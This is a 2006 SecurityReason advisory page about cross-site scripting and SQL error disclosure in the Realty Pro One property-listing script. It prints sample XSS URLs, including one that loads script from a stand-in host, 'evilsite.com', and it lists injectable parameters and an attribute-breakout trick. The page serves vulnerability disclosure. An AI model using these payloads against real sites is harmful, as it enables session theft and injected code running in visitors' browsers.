|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 988 CVE : CVE-2006-2672 SecurityRisk : Low  (About) Remote Exploit : Yes Local Exploit : No Exploit Given : Yes Credit : luny youfucktard com Published : 31.05.2006
Advisory Text : Realty Pro One http://realtypro1.2run2.com/index.php Description: Realty Pro One is a powerful property listing tool with many features. Effected files: searchlookup.php images.php index_other.php request_info.php ?listingid Exploits & Vulns: XSS Vulnerability by the listingid variable: http://www.example.com/listings/?listingid=<SCRIPT%20SRC=http://evilsite .com/xss.js></SCRIPT> Also outputs SQL Query error msg: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'This is remote text via xss.js located at evilsite.comPHPSESSID=f085540569ca117edda59a119e98fcc4 ORDER BY rl_re More XSS Vulnerabilities: http://www.example.com/search/searchlookup.php?propertyid=200 or [XSS] http://www.example.com/images.php?id=[XSS] http://www.example.com/listings/index_other.php?listingid=[XSS] By putting "> and <" infront and behind our script tags: http://www.example.com/listings/request_info.php?agentid=101005">[XSS]<" &listtype=homes&listingid=222003 No version # for this script was given on the website.  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Multiple Vendors libc/gdtoa printf(3) Array Overrun
SecurityReason realised new advisory about vulnerabilities libc/gdtoa... |
||
| Apache |  |
|
» Apache Tomcat |
||
» Apache Tomcat User |
||
| PHP | |
|
» PHP |
||
- 2009-05-30| Copyright © SecurityReason.com. All Rights Reserved. |